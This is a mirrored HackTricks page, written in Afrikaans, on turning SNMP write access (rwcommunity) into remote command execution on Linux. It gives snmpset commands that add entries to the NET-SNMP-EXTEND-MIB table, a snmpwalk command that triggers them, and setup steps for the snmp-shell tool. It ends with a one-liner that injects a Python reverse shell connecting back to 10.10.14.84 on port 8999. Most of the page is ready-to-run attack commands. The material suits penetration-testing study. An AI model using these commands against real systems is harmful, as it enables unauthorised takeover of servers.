mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
49 lines
3.1 KiB
Markdown
49 lines
3.1 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
# SNMP RCE
|
|
|
|
SNMP kan deur 'n aanvaller uitgebuit word as die administrateur sy standaardkonfigurasie op die toestel of bediener oor die hoof sien. Deur **die SNMP-gemeenskap met skrywe toestemmings (rwcommunity)** op 'n Linux-bedryfstelsel te misbruik, kan die aanvaller opdragte op die bediener uitvoer.
|
|
|
|
## Uitbreiding van Dienste met Bykomende Opdragte
|
|
|
|
Om SNMP-dienste uit te brei en ekstra opdragte by te voeg, is dit moontlik om nuwe **rye aan die "nsExtendObjects" tabel** toe te voeg. Dit kan bereik word deur die `snmpset` opdrag te gebruik en die nodige parameters te verskaf, insluitend die absolute pad na die uitvoerbare lêer en die opdrag wat uitgevoer moet word:
|
|
```bash
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
|
'nsExtendStatus."evilcommand"' = createAndGo \
|
|
'nsExtendCommand."evilcommand"' = /bin/echo \
|
|
'nsExtendArgs."evilcommand"' = 'hello world'
|
|
```
|
|
## Inspuit van Opdragte vir Uitvoering
|
|
|
|
Inspuit van opdragte om op die SNMP-diens te loop, vereis die bestaan en uitvoerbaarheid van die aangeroepde binêre/scrip. Die **`NET-SNMP-EXTEND-MIB`** vereis die verskaffing van die absolute pad na die uitvoerbare.
|
|
|
|
Om die uitvoering van die ingespuite opdrag te bevestig, kan die `snmpwalk` opdrag gebruik word om die SNMP-diens te enumerate. Die **uitset sal die opdrag en sy geassosieerde besonderhede vertoon**, insluitend die absolute pad:
|
|
```bash
|
|
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
|
```
|
|
## Die Uitgevoerde Opdragte
|
|
|
|
Wanneer die **ingespotte opdrag gelees word, word dit uitgevoer**. Hierdie gedrag staan bekend as **`run-on-read()`**. Die uitvoering van die opdrag kan waargeneem word tydens die snmpwalk lees.
|
|
|
|
### Verkryging van Bediener Shell met SNMP
|
|
|
|
Om beheer oor die bediener te verkry en 'n bediener shell te bekom, kan 'n python-skrip wat deur mxrch ontwikkel is, gebruik word vanaf [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git).
|
|
|
|
Alternatiewelik kan 'n omgekeerde shell handmatig geskep word deur 'n spesifieke opdrag in SNMP in te spuit. Hierdie opdrag, wat deur die snmpwalk geaktiveer word, stel 'n omgekeerde shell-verbinding met die aanvaller se masjien in staat, wat beheer oor die slagoffer se masjien moontlik maak.
|
|
Jy kan die vereiste installeer om dit te laat loop:
|
|
```bash
|
|
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
|
git clone https://github.com/mxrch/snmp-shell
|
|
cd snmp-shell
|
|
sudo python3 -m pip install -r requirements.txt
|
|
```
|
|
Of 'n omgekeerde skulp:
|
|
```bash
|
|
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
|
```
|
|
## Verwysings
|
|
|
|
- [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|